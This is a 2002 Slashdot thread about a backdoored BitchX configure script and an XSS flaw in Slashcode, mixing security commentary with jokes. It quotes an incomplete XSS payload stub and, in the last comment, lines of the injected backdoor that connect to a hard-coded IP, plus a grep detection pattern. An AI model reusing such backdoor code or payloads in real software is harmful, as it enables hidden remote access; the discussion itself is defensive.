    Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
    Precedence: bulk
    List-Id: <bugtraq.list-id.securityfocus.com>
    List-Post: <mailto:bugtraq@securityfocus.com>
    List-Help: <mailto:bugtraq-help@securityfocus.com>
    List-Unsu bscribe: <mailto:bugtraq-unsubscribe@securityfocus.com&g t;
    List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
    Deli vered-To: mailing list bugtraq@securityfocus.com
    Delivered-To: moderator for bugtraq@securityfocus.com
    Received: (qmail 31935 invoked from network); 2 Jul 2002 08:55:04 -0000
    Message-ID: <20020702085626.305.qmail@web21002.mail.yahoo.c om>
    Date: Tue, 2 Jul 2002 01:56:26 -0700 (PDT)
    From: gcsb <gcsbnz@yahoo.com>
    Subject: XSS in Slashcode
    To: bugtraq@securityfocus.com
    MIME-Version: 1.0
    Content-Type: text/plain; charset=us-ascii
    X-UIDL: "[K!!WR\"!nkN"!NSF"!

    There is a nasty Cross Site Scripting(XSS) vuln in
    Slashcode. This was used a day or so go on
    slashdot.org and resulted in most of the site being
    taken down for an hour or so. The maintainers of
    slashcode have patched the problem in CVS but have not
    even mentioned it anywhere that I can find. This
    leaves all sites using slash vulnerable to this
    exploit.

    An example exploit (incomplete) is as follows:

    <p &gt; onMouseOver..insert javascript here...>

    I am dissapointed that the slachcode maintainers have
    silently fixed this on slashdot.org yet made no
    mention of the problem elsewhere so that other sites
    can patch themselves. No wonder there are so many
    "trolls" on slashdot.org...ah well.

    If you run a site using slashcode, get the latest CVS.

    That is all. Move along.

    ________________________________________________ __
    Do You Yahoo!?
    Sign up for SBC Yahoo! Dial - First Month Free
    http://sbc.yahoo.com

    ----- END BugTraq POSTING -----

    You didn't even reformat the exploit code so that it showed up properly... sheesh.

    - Jester

  10. Backdoor. by ldopa1 · · Score: 4, Interesting

    Is this truly suprising? With the proliferation of "secret" functionality in everything from DVD's to Palm applications, it seems that a lot of developers take great delight in doing something "on the sly" that will get them noticed.

    While the vast majority of these "easter eggs" are completely harmless, it's only logical to assume that they present an opportunity for malicous activities. I mean, who among us doesn't have SOME "H4X0R" history? Doesn't it follow that some of that will come out when the opportunity to put in a "gift" presents itself?

    Also, this seems to me to be one of the down sides of the Open Source fight. Most of the accomplished hackers that I know are strong advocates of Open Source. It leads me to believe that most of the proponents of Open Source are or were at some time at least a script kiddie with delusions of grandeur.

    Nobody I know has the time to actually check every line of code in a 200 Meg build for one or two lines of backdoor code, especially when the application is DESIGNED to make and break connections.

    --
    The Dopester
    "Yes, I'm a Karma Whore, but I'm doing it to pay my way through school."
    1. Re:Backdoor. by numatrix · · Score: 2, Interesting

      This was not the developers doing something sly. There have been a recent rash of compromised servers hosting different pieces of software, and then backdoors being configured in a similar manner in the ./configure script as described in this post. Similarly hit was monkey.org where some of dug song's security tools were compromised. Google cache of dug's post.

      There was another relatively famous piece of software compromised the same way recently as well. Somebody is going through some great lengths to put backdoors in the source of some good OSS. Makes you wonder how much is being missed.

    2. Re:Backdoor. by Marx_Mrvelous · · Score: 2

      There are probably very few viruses that only the author knows about; the number of different viruses in the wild is actually very, very low.

      And people have discussed using so-called "anti-viruses" but there are too many legal issues to deal with. If people just patch their boxes, problem solved.

      --

      Moderation: Put your hand inside the puppet head!
    3. Re:Backdoor. by kmellis · · Score: 3, Insightful
      This is the real security threat for everyone, particularly anyone with sensitive data.

      Viruses and worms have been mostly merely malicious. Same with cracking. And the malice involved is not very great. But what if people get serious about stealing data?

      A few years ago I had an epiphany one night, and waltzed into a network security company the next day.

      "Look", sez me, "Inbound connections and activity are, in the long run, not going to be the real threat. The real threat is trojaned applications that mine for data and somehow send it offsite. You need to be monitoring outbound activity for appropriateness. For example, eventually you're going to see corporate espionage where someone writes an attractive and actually useful little app, then social engineers a targeted person within an organization to download it and compromise security. This is just an example of the general problem."

      They were actually pretty impressed, but the company's strategy was deliberately to avoid concerning itself with viruses or worms (more specifically, they wanted to stay only on the servers, monitoring network activity in a sophisticated manner). But it seemed to me that this was a natural extension of their product and technology. And they thought I was a pretty bright guy, but they didn't know what to do with me. Well, anyway. The irony is that they were only a year or so later bought by one of the big antivirus firms, mostly just to acquire their technology.

      In this particular case, the BitchX irc app, it looks like an outside source injected some backdoor code into the application, and hacked the ftp server to distribute it in a selective manner, presumably to help lower the risk of detection. A lot of effort for not that great of a payoff, really. Here, as is often the case, it's mostly about proving how clever you are.

      But we're starting to see rudimentary examples of what I was warning about with spyware and other apps that make outbound connections that are in some sense illicit. Firewalls monitoring outbound connections can only be so successful given that they're always going to let some through. I know that some of the client based firewalling/monitoring software looks at connections on a per application basis. That's a start.

      Personally, my inclination is that we need a networking monitor that operates like a virus scanner -- on the client, in the background -- that accesses a secured database of allowed application to outbound connection mapping, with secured handling of exceptions or new applications referred to a security admin (ideally) or an admin. This way we don't have to use a brute-force approach that simply locks down all allowed applications and allowed outbound connections in a non-specific, usability-destroying way.

      But whatever the solution, I have little doubt that this will be a growing problem which will make a transition from script-kiddie nuisance cracking to something much more sophisticated. Although I could be wrong.

    4. Re:Backdoor. by ldopa1 · · Score: 2

      I bow before the almighty AC. Your logic, and facts to back it up, are staggering.

      SELECT * FROM lusers WHERE clue > 0;
      go
      0 rows returned

      --
      The Dopester
      "Yes, I'm a Karma Whore, but I'm doing it to pay my way through school."
  11. Digitally sign your sources... by Cyclops · · Score: 5, Informative

    Many don't digitally sign their sources with a secure key, and thus there is absolutely no way to verify that those sources are the ones the developer intended to release.

    Many think that a simple md5sum alongside the sources is enough. IT IS NOT. Any attacker who replaces the sources can as easily replace the md5sum, which can be generated by anyone.

    A digital signature (I suggest using gpg) can only be generated by YOU if you keep it in a secure place, and use it to sign the sources. The public side of this key should be widely distributed and preferably signed (that is recognized) by third parties... the most trustworthy these third parties can be, the better.

    After the huge attack on the network where such sites as Apache were hosted, other Apache projects which did not sign their packages suddenly started signing them. They got scared. You should be too.

    A lot of people instinctively trust their dns resolutions (oops) and also think that if they go to http://www.mozilla.org they will get their favorite browser for sure. They are also wrong. dns can be spoofed under certain conditions, so they could be going to crackersR.us instead, and downloading a neat trojaned source, for instance.

    The more a project grows in fame, the more it will become a likely target for these kinds of attacks, so the more need to a degree of responsability that should not be needed, but it unfourtunately is since the danger is ubiquitous.

    Be carefull, be very carefull.

    Also avoid using user root period.

    1. Re:Digitally sign your sources... by fizbin · · Score: 2

      Not necessarily. Meet people in person and:
      1) get their keys from them.
      2) sign their keys.
      3) have them sign yours.

      Build a big web of trust. Get interconnected. Of course, this does require interpersonal contact, but with practice I'm certain you'll find that face-to-face contact isn't that repulsive.

      Large projects such as mozilla or apache could also hand out cards with their public gpg key fingerprint on them at developer convention. (It is assumed that the saving grace here is that the fingerprints, being small, can be repeated all over the place.) Something like apache could then have a key that is used to sign the keys of subprojects.

      True, no system is perfect. It's still always possible that a long-trusted developer will suddenly decide to put a backdoor in their own program, and therefore any system that defends against attacks that are more difficult than convincing a trusted developer to do just this is overkill. However, the open source web of trust is not nearly as interconnected as it should be, and this lack of connections creates a serious chance for failure points.

    2. Re:Digitally sign your sources... by Random+Walk · · Score: 2

      I am signing all my sources with GnuPG. However, the problem is that it is not enought to verify the signature - if you want to trust signed source, you would also need to verify the key (fingerprint), and according to my experience, almost nobody does that, presumably out of lazyness.

  12. Re:How long... by Anonymous Coward · · Score: 3, Insightful

    About 5 seconds into install, when the closed-source firewall running on the closed-source OS catches the closed-source IRC client trying to create the reverse telnet connection.

  13. GNU/Linux needs signed downloads by splorf · · Score: 5, Insightful
    I'm sorry but this is one thing Microsoft and/or Netscape did right. The practice of including detached PGP signatures on download sites is useless--they have to be manually verified, and hardly anyone bothers.

    GNU/Linux downloads should be in signed archives like Netscape JAR files. JAR files are basically ZIP archives with a signature file stored inside the .zip in a standard place. When you unpack the archive, the unpacker checks the signature the same way a browser checks an SSL web site.

    JAR files use a certificate chain ending in a certificate authority (usually a commercial one) but maybe the signed-download scheme could be signed against a certificate on the official developer's website. Of course that wouldn't be unspoofable, but it would be as secure as the current scheme of having a PGP public key on the developer website and signing against that. The main benefit is the checking would happen automatically, so it would be much harder to put crap into downloads. If someone makes a modified version, they would have to sign it themselves (with a signature pointing back to their own website) or else the unpacker would print a message saying the code was unsigned and the user should check it carefully before using it.

    1. Re:GNU/Linux needs signed downloads by bogado · · Score: 3, Informative

      RPM does this, and most rpm managers do exactly this (red-carpet for instance). I bet debian has the same type of protection. If you only install software from trusted distributors, you should be fine.

      --
      []'s Victor Bogado da Silva Lins

      ^[:wq

    2. Re:GNU/Linux needs signed downloads by Junta · · Score: 2

      Valid point, but saying 'GNU/Linux' needs this is *way* too broad of a topic to address. That's not much more helpful than saying 'computer oses need signed download' (here comes Palladium...).

      GNU/Linux, and *any* OS for that matter has the potential to provide for this sort of thing. the GNU/Linux layers (the kernel and basic system utilities) are too low a level too require this stuff. The difference of doing it by hand as opposed to doing it with a yes/no dialog is simply a matter of a simple utility integrated into a distribution and some signatures/public keys distributed in advanced through a trusted channel. In some form or another, it is already in place for a lot of things.

      For example, I use gentoo and *always* install through the portage system. The portage tree includes ebuild build description and md5sums for the ditribution files. This requires an attacker go in and compromise the portage tree and also provide/hijack distribution files for that package. Not perfect but not too shabby. The emerge process always checks MD5s.

      I'm not sure if apt-get, urpmi, apt-rpm, or the FreeBSD ports systems do this, but even if they didn't it wouldn't be a huge leap to add this functionality.

      Perhaps the better thing to come away from this knowing is that sometimes using package management holds the answer. Sure you can download and check signatures manually, but many don't and so having a package distribution system that forces the issue can slow issues like these drastically..

      --
      XML is like violence. If it doesn't solve the problem, use more.
  14. Re:XSS in Slashcode by Pave+Low · · Score: 3, Insightful

    Interesting how there's a fairly serious bug in slashcode that was exploited yesterday but they don't publicize that. At least they fixed it quickly, but if you guys like to point out other peoples bugs, how about shining the light on yourself once in awhile? I'm sure other slashcode sites would have liked to have known about it.

    --
    SIG:Slashdot: indymedia for nerds.
  15. Enough talk by WildBeast · · Score: 3, Funny

    Grow up, nothing is perfectly secure. Let's stop arguing which OS is vulnerable and find the evil do-ers who did this. Let's smoke them out from there parents basement and deliver a Slashdot can of whoop ass.

    1. Re:Enough talk by idiot900 · · Score: 5, Funny

      deliver a Slashdot can of whoop ass.

      What would that be exactly? Sending too many visitors to their website?

    2. Re:Enough talk by extrasolar · · Score: 2

      Damn...wish I could impersonate carl malone right now....

    3. Re:Enough talk by Dwonis · · Score: 2
      Grow up, nothing is perfectly secure.

      Dan Bernstein bet $500 that qmail is, and he seems to have won. Or do you have some other definition of "secure" of which we're not aware?

  16. Re:XSS in Slashcode by jamie · · Score: 4, Informative

    This post is quite inaccurate and we will be responding, also on bugtraq, momentarily. The author of the post did not contact the Slash development team, or we could have corrected some of his misconceptions.

  17. indeed by MattW · · Score: 2

    Ah, yes. But the best was just colliding people, pre-TS. I wrote a script that made connection(s) to remote servers, usually far from you and your intended victim. If they changed nicks (which people often did to avoid being collided by a split off server rejoining their nick), the script would order the remote client to change nicks. Since the direct connection would propagate faster than the serverserverserver links (usually you'd pick a server 5+ hops away), by the time the nick change propagated there, it would cause a collision. Combine that with a traditional collide from a split server, and it was unavoidable. I remember taking #jews back from a bunch of nazis using that script.

  18. Open source only? by EvilFrog · · Score: 2, Interesting

    The naming thing isn't necessarily an open source issue, more of a "started by one guy working out of his house who's got a messed up sense of humor and is giving the software away for free so he doesn't have to worry about sales" issue. The same thing comes up whether it's open or closed.

    The popular emulator Dos/Windows "Nesticle" comes to mind.

  19. Re:That can't be! by Anarchofascist · · Score: 2

    "Tell me it aint so. Something insecure in a Linux/Unix app? "

    Sheesh. For the first time in living memory we have had TWO security patches to install IN THE SAME WEEK! Omigod the walls are closing in! I must migrate immediately to Microsoft products, they'll save me!

    --
    Once more unto the breach, dear friends, once more, Or close the wall up with our American dead!
  20. Put the client in a jail by Animats · · Score: 4, Insightful
    IRC clients are a good place to start on security, because they need very limited access on the client machine. So put the client in a FreeBSD jail. All it needs to talk to is its window and the net, and maybe a few specific files.

    Jailing a browser is tougher, but an IRC client should be easy. Somebody who's into IRC and security should do this as a demo.

    1. Re:Put the client in a jail by Junta · · Score: 4, Insightful

      Actually, I would say both are equally 'tough' to jail. Access to the network is pretty much the same, both tend to use particular, specific ports but circumstances can require just about anything, though IRC tends to deviate less than web browsers do from the standard ports, they still deviate.

      As far as file system access, neither *truly* require write access to the disk nor read access to nothing more than a few config files. I know, browsers tend to use disk as cache and you want to download using your browser as well, but same goes for IRC, a large portion of users exchange files through the IRC client with the intent of the transferred file not being transient. For those who want to have non-transient downloads (and ability to save configuration, both sorts of clients equally likely to require this), chroot is as far as I would go.

      Strictly speaking, all network applications have similar issues. While it may appear easy to pinpoint required operations of a piece of software, there are always enough deviations to make it not 100% possible to tighten it all down. The only place where you can really predict and jail based on those predictions what a network application needs to do and access is on the server end where you have the most control over how the network is used. Clients having to interoperate with oddball server configurations and users who want to use the software in different ways will always make the jailing you describe less feasible.

      Of course, most any app could run fine in a chrooted environment if you have the disk space for the requisite libraries, and that by itself greatly reduces (but doesn't eliminate) threats to data outside the chroot jail.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    2. Re:Put the client in a jail by maelstrom · · Score: 2

      Take a look at: Systrace

      --
      The more you know, the less you understand.
    3. Re:Put the client in a jail by Animats · · Score: 2
      While it may appear easy to pinpoint required operations of a piece of software, there are always enough deviations to make it not 100% possible to tighten it all down.

      That assumes you don't modify the client. I'm proposing that the clients be modified to live within tight security restrictions. The general idea is that you put the app in a restricted environment and fix the app until it works there. Maybe some features won't work; those are turned off.

      The Unix/Linux world needs to make this work, as their response to Palladium. This is real security, not just signing and authentication.

      Something like LOMAC may be helpful here. Systrace is useful to find what needs to be fixed in apps, but that approach doesn't result in a policy without holes.

      IRC clients are a good place to start because 1) they get attacked quite a bit, and 2) they're not as big as browsers.

  21. Look kids... by ice-man_efnet · · Score: 4, Insightful

    The developers of BitchX did *NOT* put malicious code in the source. For one thing, there were two versions of the 1.0c19 source running around. It also seems that the security on *.bitchx.org was never even compromised. The problem lies somewhere with a 'man-in-the-middle' changing some DNS aliases somehow. This is why some people were able to download the real version that was actually released, and some people got the 'hacked' copy.

    Also, even though the box doesn't appear to be compromised, it could happen. I hope one of you kids out there is the first one attacked when a new apache or ssh bug is found. You can never be completely secure, especially when you are running anonymous servers for people to download programs.

    kthx.

    ice-man@efnet.

    1. Re:Look kids... by Ben+Hutchings · · Score: 2
      The developers of BitchX did *NOT* put malicious code in the source.

      Well, aside from the default "real name" and quit messages.

  22. World domination. by pclminion · · Score: 2
    If I were interested in rooting a lot of machines, I might do it kind of like this:

    Waste many months of otherwise useful time writing an IRC client. Make sure it gets really popular by adding neato colors. Oh, and give it a name that's sure to offend my mother.

    Wait until everyone trusts me, then throw something slightly more interesting into the mix. Like a blatant back door. Hope no one notices.

    Screw with my FTP server and make it looked hacked, to ensure deniability.

    Assume global emperorship.

    Of course, if I had done it, I would have made it more subtle. Perhaps a hard-to-find buffer overflow in CTCP handling, or such...

    (The preceding was a JOKE...)

  23. Yet another configure backdoor by mr3038 · · Score: 2
    How about a simple "egrep -nr 'socket|connect' *" before running configure and compiling software? If you see any lines in the output and don't understand why they are there you shouldn't run configure or compile the software. IMO, if you don't know why you should check for at least socket you shouldn't compile software at all.

    Granted, exploit could be hidden from such a simple check but it still seems that above would be enough to prevent backdoors.

    --
    _________________________
    Spelling and grammar mistakes left as an exercise for the reader.
  24. bullshit by MattW · · Score: 2

    No, you're not thinking of the good ol' days. You're thinking of the fucked up new days, when people stopped manipulating the irc protocol itself and started unleashing 400Mbps DOS attacks on servers because, "That bastard IRCop shouldn't have killed me". There's a far cry from producing nickname collisions because the irc protocol is weak to using thousands of compromised machines to generate hundreds of megs in smurf traffic.

  25. Your Bugtraq response was fatuous at best. by dave-fu · · Score: 2, Insightful

    > Very few sites are running Slash from CVS,
    as the CVS tree is a pre-alpha version. We have not yet even
    stamped it with a development release number (which will be 2.3.0
    as soon as we feel it is stable enough for bleeding-edge users).


    In spite of the fact that you haven't "stamped" the version with a release number, you had gone ahead and deployed a version of software which was open to and was, in fact, visibly exploited by XSS flaws. You then pretended that it never happened. No "whoops, we screwed up, here's what we did wrong so the rest of you can avoid our pitfalls" on the front page of the site that was exploited, no note on slashcode.com that people who have deployed the same version that you deployed are open to exploitation as well.

    > Sites running CVS should stay as current as possible at all times,
    of course. The courageous admins of those sites should probably
    hang out on the IRC channel given on the slashcode.com homepage
    (#slash on irc.openprojects.net).


    This doesn't reflect reality. Many people pull down a CVS snapshot and run with it, but it's nice to know that you think that admins should spend what little free time they've got idling in IRC just in case there's another bug that you don't feel like publicizing is exploited.
    Now that I think about it, doesn't that sound a whole lot like "security through obscurity"?

    --
    Easy does it!
    This comment has been submitted already, 276865 hours , 59 minutes ago. No need to try again.
  26. Ignorance is not an excuse... by allism · · Score: 2

    Just because you can use something for one of its intended uses does not relieve you of responsibility for its other uses. When a computer owner takes the responsibility of hooking a computer up to the internet, he should also take responsibility for making sure that there can be no malicious use of it--or be willing to face the consequences when someone else (i.e. the government or someone distributing a white-hat virus) takes it upon themselves to stop the irresponsible user from inflicting themselves on others. Living in a free society requires taking responsibility for one's own actions, even if (some might argue especially if), one didn't know that what he/she was doing could be harmful to others.

    Bottom line, if you're not tech-savvy enough to secure your own computer, either get tech-savvy enough or hire someone trustworthy to do it (you'd be amazed how many broke nerd college students will secure your computer and check it on a regular basis for a pizza every time they work on it--my husband would have starved in college otherwise)...but I'm guessing I'm preaching to the choir here...

  27. GNU/Linux HAS signed downloads by Nailer · · Score: 3, Informative

    RPM, the standard packaging system according to the Linux Standards base, had support for PGP (IIRC) around three years ago. This was replaced / upgraded to GPG a couple of years ago. Every package in Red Hat Linux (and most other popular distros) is signed (unless someone screws up - there was a case where 2 packages weren't properly signed, but signed replacements were made avaliable soon after). RPM will print a strong warning if the signature isn't correct (and maybe fail the operation - dunno, my signature's have always been correct).

    Dpkg also recently added GPG support, buy you have to trust individuals rather than a specific company - no packager is going to lose their job if they're working in Albania on Debian trojaning packages.

  28. It's not the only issue by Goonie · · Score: 2
    BitchX also sends out somewhat crude messages to the IRC channels you're currently on when you /quit the application. Whilst I've no doubt you can turn that feature off, I dislike it greatly. If I choose to use rude, crude and/or lewd language on IRC that's my business (and I do so sometimes), but the mentality that it's a sensible default for a computer to mouth off publically on your behalf makes me wonder about the maturity of the developers, and thus the quality of the software itself. It's one of the major reasons I use an alternative IRC client.

    This is only an issue with OSS because they are often the product of one person, unfettered by marketing departments and financial considerations. Sometimes this is good (honest disclosure of a programs bugs and limitations, and realistic schedules for new versions such as "when it's done"), and sometimes this is not so good (you get juvenalia like BitchX, which aside from its bad habits seems to be a full-featured, powerful IRC client).

    --

    Any sufficiently advanced technology is indistinguishable from a rigged demo
    --Andy Finkel (J. Klass?)
  29. Escaped the radar by RennieScum · · Score: 2
    Notice how the code is nicely commented? Makes it look legit:
    +/* We use char because int might match the return type of a gcc2
    + builtin and then its argument prototype would still apply. */
    + sa.sin_port = htons (6667);
    + sa.sin_addr.s_addr = inet_addr ("213.77.115.17"); alarm (10);
    +/* Override any gcc2 internal prototype to avoid an error. */
    Dammit, so that's why my `egrep -nr 'h4x0r|gr33tz' *` didn't work =D
    --
    ...Time is the best teacher, unfortunately it kills all of its students.